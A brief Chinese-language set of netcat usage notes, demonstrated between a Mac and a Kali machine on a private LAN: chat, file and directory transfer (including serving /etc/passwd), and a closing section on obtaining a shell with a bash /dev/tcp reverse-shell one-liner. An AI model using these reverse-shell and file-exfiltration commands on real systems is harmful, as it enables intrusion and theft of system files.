nc使用筆記
netcat是網絡工具中的瑞士軍刀,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。
現內網中有兩臺機器:Mac: 192.168.1.109 Kali:192.168.1.110
網絡聊天
Server: 192.168.1.109
starnight:~ starnight$ nc -l 12345 【服務器監聽模式】
Client:192.168.1.110
[email protected]:~# nc 192.168.1.109 12345 【客戶端進行連接】
這樣,在局域網內就能相互進行通訊了。
文件傳輸
用nc能夠進行文件傳輸,將要傳輸的文件重定向某個監聽端口,然後另一方連接這個端口的時候,數據就能進行流動,完成文件傳輸。
發送文件
Server: 192.168.1.109
starnight:test starnight$ nc -l 12345 < /etc/passwd
Client: 192.168.1.110
[email protected]:~/temp# nc 192.168.1.109 12345 > tmp
可以看到Mac:192.168.1.109上的/etc/passwd已經傳輸到Kali上了。
接收文件
Server:192.168.1.109
starnight:test starnight$ nc -l 12345 > tmp
Client: 192.168.1.110
[email protected]:~/temp# nc 192.168.1.109 12345 < 1.txt
目錄傳輸
傳輸目錄其實跟傳輸單個文件是一樣的,但是要在傳輸前將文件進行壓縮,通過管道,這樣就相當於是單個文件了。我們來看看...
Server: 192.168.1.109
starnight:Desktop starnight$ tar -cvf - test/ | nc -l 4444
Client: 192.168.1.110
[email protected]:~/temp# nc -n 192.168.1.109 4444 | tar -xvf -
在Server將test文件夾打包之後,通過管道重定向到本機的4444端口,Client連接到Server的4444端口,接收數據直接解壓,即可得到test目錄。
反向連接
一般來講,我們最想要的是拿到一個shell,下面我們來看看該怎麽做吧。
Server: 192.168.1.107
starnight:~ starnight$ nc -lvv 4444 [服務器端監聽4444端口,等待反向連接]
Client: 192.168.1.111
[email protected]:~/temp# /bin/bash -i > /dev/tcp/192.168.1.107/4444 0<&1 2>&1
就先總結到這吧...
nc使用筆記